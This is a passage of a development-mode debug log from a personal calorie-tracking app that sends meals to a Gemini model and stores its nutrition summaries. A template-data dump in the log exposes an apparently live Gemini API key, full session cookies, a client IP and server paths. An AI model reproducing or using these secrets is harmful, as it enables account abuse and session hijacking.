  '| 405 | Green Tea | 0 | 0 | 0 | 0 | 1 cup (240ml) |\n' +
  '| 406 | Milk Sugar Coffee | 132 | 4 | 24 | 2 | 1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar) |\n' +
  '| 407 | Roti (Whole Wheat) | 375 | 12 | 75 | 3 | 3 medium (approx 40g each, total 120g) |\n' +
  '| 408 | Aloo Gobi Sabzi | 214 | 3 | 18 | 15 | 1 medium bowl (approx 150g, assuming moderate oil) |\n' +
  '| 409 | Digestive Biscuits | 152 | 2 | 22 | 6 | 2 biscuits (approx 32g, assuming 16g per biscuit) |\n' +
  '| 410 | Makhana (Fox Nuts) | 88 | 2 | 19 | 0 | 1 handful (approx 25g) |\n' +
  '| 411 | Green Tea | 2 | 0 | 1 | 0 | 1 cup (approx 240ml) |\n' +
  '| 412 | Papaya | 52 | 1 | 13 | 0 | 3 slices (approx 120g, assuming 40g per slice) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-16T13:51:47.544Z server-connect:app Executing action step processWithGemini
2025-12-16T13:51:47.544Z server-connect:app options: { request_type: 'meal_summary', raw_text: '{{raw_value}}' }
2025-12-16T13:51:48.908Z server-connect:output health_summary: {
  summary: "Today's nutrition offered a decent variety of Indian dishes, incorporating fruits and whole grains. Protein intake appears to be on the lower side, which might hinder optimal muscle development alongside fat loss. Meal timing seems spread out reasonably well, but the inclusion of sugary drinks and processed biscuits could be improved for better recovery and goal support.",
  rating: 6,
  good_points: [
    'Inclusion of whole wheat roti.',
    'Consumption of papaya provides vitamins and fiber.',
    'Hydration supported with green tea.'
  ],
  bad_points: [
    'Lower protein contribution from the meals.',
    'Sugary coffee may not align with fat loss goals.',
    'Digestive biscuits are a processed item with limited nutritional value.'
  ],
  suggestions: [
    'Aim for more protein-rich sources with meals such as lentils, paneer, or lean meats.',
    'Consider reducing or replacing the milk sugar coffee with a less sweet beverage.',
    'Opt for whole food snacks over biscuits.',
    'Ensure adequate hydration throughout the day.'
  ],
  predicted_weight_trend: 'Overall downward trend with some fluctuations.',
  predicted_weight: 70.1
}
2025-12-16T13:51:48.909Z server-connect:app Executing action step condition
2025-12-16T13:51:48.909Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-16T13:51:48.909Z server-connect:app Executing action step delete
2025-12-16T13:51:48.909Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-16T13:51:48.910Z server-connect:output delete: { affected: 1 }
2025-12-16T13:51:48.910Z server-connect:app Executing action step insert
2025-12-16T13:51:48.910Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-16T13:51:48.910Z server-connect:output insert: { affected: 1, identity: 18 }
2025-12-16T13:51:48.910Z server-connect:output condition: undefined
2025-12-16T13:51:49.122Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-16T13:51:49.123Z server-connect:app Executing action step identify
2025-12-16T13:51:49.123Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:49.123Z server-connect:output identity: 1
2025-12-16T13:51:49.123Z server-connect:app Executing action step restrict
2025-12-16T13:51:49.123Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:49.123Z server-connect:output restrict: undefined
2025-12-16T13:51:49.123Z server-connect:app Executing action step single
2025-12-16T13:51:49.123Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-16T13:51:49.124Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's nutrition offered a decent variety of Indian dishes, incorporating fruits and whole grains. Protein intake appears to be on the lower side, which might hinder optimal muscle development alongside fat loss. Meal timing seems spread out reasonably well, but the inclusion of sugary drinks and processed biscuits could be improved for better recovery and goal support.",
    bad_points: [
      'Lower protein contribution from the meals.',
      'Sugary coffee may not align with fat loss goals.',
      'Digestive biscuits are a processed item with limited nutritional value.'
    ],
    good_points: [
      'Inclusion of whole wheat roti.',
      'Consumption of papaya provides vitamins and fiber.',
      'Hydration supported with green tea.'
    ],
    suggestions: [
      'Aim for more protein-rich sources with meals such as lentils, paneer, or lean meats.',
      'Consider reducing or replacing the milk sugar coffee with a less sweet beverage.',
      'Opt for whole food snacks over biscuits.',
      'Ensure adequate hydration throughout the day.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'Overall downward trend with some fluctuations.'
  },
  date: '2025-12-15T18:30:00.000Z'
}
2025-12-16T13:52:52.146Z server-connect:app Executing action step identify
2025-12-16T13:52:52.146Z server-connect:app options: { provider: 'security' }
2025-12-16T13:52:52.146Z server-connect:output identity: 1
2025-12-16T13:52:55.035Z server-connect:app Executing action step identify
2025-12-16T13:52:55.035Z server-connect:app options: { provider: 'security' }
2025-12-16T13:52:55.035Z server-connect:output identity: 1
2025-12-16T14:01:21.691Z server-connect:app Executing action step identify
2025-12-16T14:01:21.691Z server-connect:app options: { provider: 'security' }
2025-12-16T14:01:21.691Z server-connect:output identity: 1
2025-12-16T14:01:23.576Z server-connect:app Executing action step identify
2025-12-16T14:01:23.576Z server-connect:app options: { provider: 'security' }
2025-12-16T14:01:23.576Z server-connect:output identity: 1
2025-12-16T14:09:29.929Z server-connect:app Executing action step identify
2025-12-16T14:09:29.929Z server-connect:app options: { provider: 'security' }
2025-12-16T14:09:29.929Z server-connect:output identity: 1
2025-12-16T14:09:31.017Z server-connect:app Executing action step identify
2025-12-16T14:09:31.017Z server-connect:app options: { provider: 'security' }
2025-12-16T14:09:31.017Z server-connect:output identity: 1
2025-12-16T14:12:12.344Z server-connect:app Executing action step identify
2025-12-16T14:12:12.344Z server-connect:app options: { provider: 'security' }
2025-12-16T14:12:12.344Z server-connect:output identity: 1
2025-12-16T14:12:15.134Z server-connect:app Executing action step identify
2025-12-16T14:12:15.134Z server-connect:app options: { provider: 'security' }
2025-12-16T14:12:15.135Z server-connect:output identity: 1
2025-12-16T14:14:54.724Z server-connect:app Executing action step identify
2025-12-16T14:14:54.724Z server-connect:app options: { provider: 'security' }
2025-12-16T14:14:54.724Z server-connect:output identity: 1
2025-12-16T14:14:55.443Z server-connect:app Executing action step identify
2025-12-16T14:14:55.443Z server-connect:app options: { provider: 'security' }
2025-12-16T14:14:55.443Z server-connect:output identity: 1
2025-12-16T14:20:19.132Z server-connect:app Executing action step identify
2025-12-16T14:20:19.132Z server-connect:app options: { provider: 'security' }
2025-12-16T14:20:19.132Z server-connect:output identity: 1
2025-12-16T14:20:20.576Z server-connect:app Executing action step identify
2025-12-16T14:20:20.576Z server-connect:app options: { provider: 'security' }
2025-12-16T14:20:20.576Z server-connect:output identity: 1
2025-12-16T14:21:07.883Z server-connect:app Executing action step identify
2025-12-16T14:21:07.883Z server-connect:app options: { provider: 'security' }
2025-12-16T14:21:07.883Z server-connect:output identity: 1
2025-12-16T14:21:08.561Z server-connect:app Executing action step identify
2025-12-16T14:21:08.561Z server-connect:app options: { provider: 'security' }
2025-12-16T14:21:08.561Z server-connect:output identity: 1
2025-12-16T14:21:16.817Z server-connect:app Executing action step identify
2025-12-16T14:21:16.817Z server-connect:app options: { provider: 'security' }
2025-12-16T14:21:16.817Z server-connect:output identity: 1
2025-12-16T14:21:17.895Z server-connect:app Executing action step identify
2025-12-16T14:21:17.895Z server-connect:app options: { provider: 'security' }
2025-12-16T14:21:17.895Z server-connect:output identity: 1
2025-12-16T14:21:27.896Z server-connect:app Executing action step identify
2025-12-16T14:21:27.896Z server-connect:app options: { provider: 'security' }
2025-12-16T14:21:27.896Z server-connect:output identity: 1
2025-12-16T14:22:02.717Z server-connect:app Executing action step identify
2025-12-16T14:22:02.717Z server-connect:app options: { provider: 'security' }
2025-12-16T14:22:02.717Z server-connect:output identity: 1
2025-12-16T14:27:52.232Z server-connect:app Executing action step identify
2025-12-16T14:27:52.232Z server-connect:app options: { provider: 'security' }
2025-12-16T14:27:52.232Z server-connect:output identity: 1
2025-12-16T14:27:59.082Z server-connect:app Executing action step identify
2025-12-16T14:27:59.082Z server-connect:app options: { provider: 'security' }
2025-12-16T14:27:59.082Z server-connect:output identity: 1
2025-12-16T14:34:18.881Z server-connect:app Executing action step identify
2025-12-16T14:34:18.881Z server-connect:app options: { provider: 'security' }
2025-12-16T14:34:18.881Z server-connect:output identity: 1
2025-12-16T14:34:20.497Z server-connect:app Executing action step identify
2025-12-16T14:34:20.497Z server-connect:app options: { provider: 'security' }
2025-12-16T14:34:20.498Z server-connect:output identity: 1
2025-12-16T14:34:21.024Z server-connect:app Executing action step identify
2025-12-16T14:34:21.024Z server-connect:app options: { provider: 'security' }
2025-12-16T14:34:21.025Z server-connect:output identity: 1
2025-12-16T14:34:23.579Z server-connect:app Executing action step identify
2025-12-16T14:34:23.579Z server-connect:app options: { provider: 'security' }
2025-12-16T14:34:23.580Z server-connect:output identity: 1
2025-12-16T14:35:15.320Z server-connect:app Executing action step identify
2025-12-16T14:35:15.320Z server-connect:app options: { provider: 'security' }
2025-12-16T14:35:15.320Z server-connect:output identity: 1
2025-12-16T14:35:20.282Z server-connect:app Executing action step identify
2025-12-16T14:35:20.283Z server-connect:app options: { provider: 'security' }
2025-12-16T14:35:20.283Z server-connect:output identity: 1
2025-12-16T14:35:23.578Z server-connect:app Executing action step identify
2025-12-16T14:35:23.578Z server-connect:app options: { provider: 'security' }
2025-12-16T14:35:23.579Z server-connect:output identity: 1
2025-12-16T14:35:24.979Z server-connect:app Executing action step identify
2025-12-16T14:35:24.979Z server-connect:app options: { provider: 'security' }
2025-12-16T14:35:24.979Z server-connect:output identity: 1
2025-12-16T14:35:25.590Z server-connect:app Executing action step identify
2025-12-16T14:35:25.590Z server-connect:app options: { provider: 'security' }
2025-12-16T14:35:25.590Z server-connect:output identity: 1
2025-12-16T14:35:28.000Z server-connect:app Executing action step identify
2025-12-16T14:35:28.000Z server-connect:app options: { provider: 'security' }
2025-12-16T14:35:28.000Z server-connect:output identity: 1
2025-12-16T14:36:41.163Z server-connect:app Executing action step identify
2025-12-16T14:36:41.164Z server-connect:app options: { provider: 'security' }
2025-12-16T14:36:41.164Z server-connect:output identity: 1
2025-12-16T14:36:51.174Z server-connect:app Executing action step identify
2025-12-16T14:36:51.174Z server-connect:app options: { provider: 'security' }
2025-12-16T14:36:51.175Z server-connect:output identity: 1
2025-12-16T14:37:03.354Z server-connect:app Executing action step identify
2025-12-16T14:37:03.355Z server-connect:app options: { provider: 'security' }
2025-12-16T14:37:03.355Z server-connect:output identity: 1
2025-12-16T14:37:10.987Z server-connect:app Executing action step identify
2025-12-16T14:37:10.987Z server-connect:app options: { provider: 'security' }
2025-12-16T14:37:10.988Z server-connect:output identity: 1
2025-12-16T14:37:42.981Z server-connect:app Executing action step identify
2025-12-16T14:37:42.981Z server-connect:app options: { provider: 'security' }
2025-12-16T14:37:42.981Z server-connect:output identity: 1
2025-12-16T14:37:49.125Z server-connect:app Executing action step identify
2025-12-16T14:37:49.126Z server-connect:app options: { provider: 'security' }
2025-12-16T14:37:49.126Z server-connect:output identity: 1
2025-12-16T14:37:49.985Z server-connect:app Executing action step identify
2025-12-16T14:37:49.985Z server-connect:app options: { provider: 'security' }
2025-12-16T14:37:49.985Z server-connect:output identity: 1
2025-12-16T14:37:55.788Z server-connect:app Executing action step identify
2025-12-16T14:37:55.788Z server-connect:app options: { provider: 'security' }
2025-12-16T14:37:55.788Z server-connect:output identity: 1
2025-12-16T14:38:06.947Z server-connect:app Executing action step identify
2025-12-16T14:38:06.947Z server-connect:app options: { provider: 'security' }
2025-12-16T14:38:06.947Z server-connect:output identity: 1
2025-12-16T14:38:18.982Z server-connect:app Executing action step identify
2025-12-16T14:38:18.982Z server-connect:app options: { provider: 'security' }
2025-12-16T14:38:18.982Z server-connect:output identity: 1
2025-12-16T14:39:46.533Z server-connect:app Executing action step identify
2025-12-16T14:39:46.533Z server-connect:app options: { provider: 'security' }
2025-12-16T14:39:46.533Z server-connect:output identity: 1
2025-12-16T14:39:47.999Z server-connect:app Executing action step identify
2025-12-16T14:39:47.999Z server-connect:app options: { provider: 'security' }
2025-12-16T14:39:47.999Z server-connect:output identity: 1
2025-12-16T14:39:54.480Z server-connect:app Executing action step identify
2025-12-16T14:39:54.481Z server-connect:app options: { provider: 'security' }
2025-12-16T14:39:54.481Z server-connect:output identity: 1
2025-12-16T14:39:55.591Z server-connect:app Executing action step identify
2025-12-16T14:39:55.591Z server-connect:app options: { provider: 'security' }
2025-12-16T14:39:55.591Z server-connect:output identity: 1
2025-12-16T14:40:42.539Z server-connect:app Executing action step identify
2025-12-16T14:40:42.539Z server-connect:app options: { provider: 'security' }
2025-12-16T14:40:42.540Z server-connect:output identity: 1
2025-12-16T14:41:08.347Z server-connect:app Executing action step identify
2025-12-16T14:41:08.348Z server-connect:app options: { provider: 'security' }
2025-12-16T14:41:08.348Z server-connect:output identity: 1
2025-12-16T14:54:48.229Z server-connect:app Executing action step identify
2025-12-16T14:54:48.229Z server-connect:app options: { provider: 'security' }
2025-12-16T14:54:48.229Z server-connect:output identity: 1
2025-12-16T14:54:50.317Z server-connect:app Executing action step identify
2025-12-16T14:54:50.317Z server-connect:app options: { provider: 'security' }
2025-12-16T14:54:50.318Z server-connect:output identity: 1
2025-12-16T14:55:49.802Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-16T14:55:49.802Z server-connect:app Executing action step identify
2025-12-16T14:55:49.802Z server-connect:app options: { provider: 'security' }
2025-12-16T14:55:49.802Z server-connect:output identity: 1
2025-12-16T14:55:49.802Z server-connect:app Executing action step restrict
2025-12-16T14:55:49.802Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T14:55:49.804Z server-connect:output restrict: undefined
2025-12-16T14:55:49.805Z server-connect:app Executing action step processWithGemini
2025-12-16T14:55:49.805Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-16T14:56:09.468Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Dal Rice',
      quantity: '1 katori cooked Dal (approx. 150g, made from 40g dry Dal) + 1 katori cooked White Rice (approx. 150g, made from 50g dry Rice)',
      total_calories: 320,
      protein: 13.5,
      carbs: 65,
      fat: 1,
      unit_of_macro: 'g',
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: "This is a staple, balanced meal. Dal provides excellent plant-based protein and fiber, crucial for muscle repair and satiety. Rice offers complex carbohydrates, which are essential for fueling your early morning gym workouts and replenishing glycogen stores for muscle development. It's a good energy source."
    },
    {
      food_name: 'Mooli ka Saag',
      quantity: '1 katori cooked (approx. 150g, typically made from ~200g raw greens + 1 tsp oil/ghee)',
      total_calories: 75,
      protein: 2,
      carbs: 5,
      fat: 5,
      unit_of_macro: 'g',
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: "Mooli ka Saag is highly beneficial. It's rich in vitamins (like Vitamin C, K), minerals, and dietary fiber, which aids digestion and overall health. It's very low in calories but nutrient-dense, making it excellent for supporting your fitness goals without adding excess energy."
    }
  ],
  overall_totals: {
    total_calories: 395,
    total_protein: 15.5,
    total_carbs: 70,
    total_fat: 6,
    unit_of_macro: 'g'
  }
}
2025-12-16T14:56:30.256Z server-connect:app Executing action step identify
2025-12-16T14:56:30.256Z server-connect:app options: { provider: 'security' }
2025-12-16T14:56:30.256Z server-connect:output identity: 1
2025-12-16T14:56:31.444Z server-connect:app Executing action step identify
2025-12-16T14:56:31.444Z server-connect:app options: { provider: 'security' }
2025-12-16T14:56:31.444Z server-connect:output identity: 1
2025-12-16T14:56:38.297Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-16T14:56:38.297Z server-connect:app Executing action step identify
2025-12-16T14:56:38.297Z server-connect:app options: { provider: 'security' }
2025-12-16T14:56:38.297Z server-connect:output identity: 1
2025-12-16T14:56:38.297Z server-connect:app Executing action step restrict
2025-12-16T14:56:38.297Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T14:56:38.298Z server-connect:output restrict: undefined
2025-12-16T14:56:38.298Z server-connect:app Executing action step condition
2025-12-16T14:56:38.298Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-16T14:56:38.298Z server-connect:app Executing action step repeat
2025-12-16T14:56:38.298Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-16T14:56:38.298Z server-connect:app Executing action step insert
2025-12-16T14:56:38.298Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-16T14:56:38.300Z server-connect:output calories: { affected: 1, identity: 413 }
2025-12-16T14:56:38.300Z server-connect:app Executing action step insert
2025-12-16T14:56:38.300Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-16T14:56:38.301Z server-connect:output calories: { affected: 1, identity: 414 }
2025-12-16T14:56:38.301Z server-connect:output repeat: [ {}, {} ]
2025-12-16T14:56:38.301Z server-connect:output condition: undefined
2025-12-16T14:56:38.498Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T14:56:38.498Z server-connect:app Executing action step identify
2025-12-16T14:56:38.498Z server-connect:app options: { provider: 'security' }
2025-12-16T14:56:38.498Z server-connect:output identity: 1
2025-12-16T14:56:38.498Z server-connect:app Executing action step restrict
2025-12-16T14:56:38.498Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T14:56:38.499Z server-connect:output restrict: undefined
2025-12-16T14:56:38.499Z server-connect:router Render template layouts/main
2025-12-16T14:56:38.499Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T13:50:56.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-16T14:56:38.696Z server-connect:app Executing action step identify
2025-12-16T14:56:38.696Z server-connect:app options: { provider: 'security' }
2025-12-16T14:56:38.696Z server-connect:output identity: 1
2025-12-16T14:56:40.723Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T14:56:40.726Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T14:56:40.728Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T14:56:40.728Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-16T14:56:40.728Z server-connect:app Executing action step identify
2025-12-16T14:56:40.728Z server-connect:app options: { provider: 'security' }
2025-12-16T14:56:40.728Z server-connect:output identity: 1
2025-12-16T14:56:40.728Z server-connect:app Executing action step restrict
2025-12-16T14:56:40.728Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T14:56:40.729Z server-connect:app Executing action step identify
2025-12-16T14:56:40.729Z server-connect:app options: { provider: 'security' }
2025-12-16T14:56:40.729Z server-connect:output identity: 1
2025-12-16T14:56:40.729Z server-connect:app Executing action step restrict
2025-12-16T14:56:40.729Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T14:56:40.729Z server-connect:app Executing action step identify
2025-12-16T14:56:40.729Z server-connect:app options: { provider: 'security' }
2025-12-16T14:56:40.729Z server-connect:output identity: 1
2025-12-16T14:56:40.729Z server-connect:app Executing action step restrict
2025-12-16T14:56:40.729Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T14:56:40.730Z server-connect:output restrict: undefined
2025-12-16T14:56:40.730Z server-connect:app Executing action step select
2025-12-16T14:56:40.730Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T14:56:40.730Z server-connect:app Executing action step identify
2025-12-16T14:56:40.730Z server-connect:app options: { provider: 'security' }
2025-12-16T14:56:40.731Z server-connect:output identity: 1
2025-12-16T14:56:40.731Z server-connect:app Executing action step restrict
2025-12-16T14:56:40.731Z server-connect:app options: { provider: 'security' }
2025-12-16T14:56:40.731Z server-connect:output restrict: undefined
2025-12-16T14:56:40.731Z server-connect:app Executing action step single
2025-12-16T14:56:40.731Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
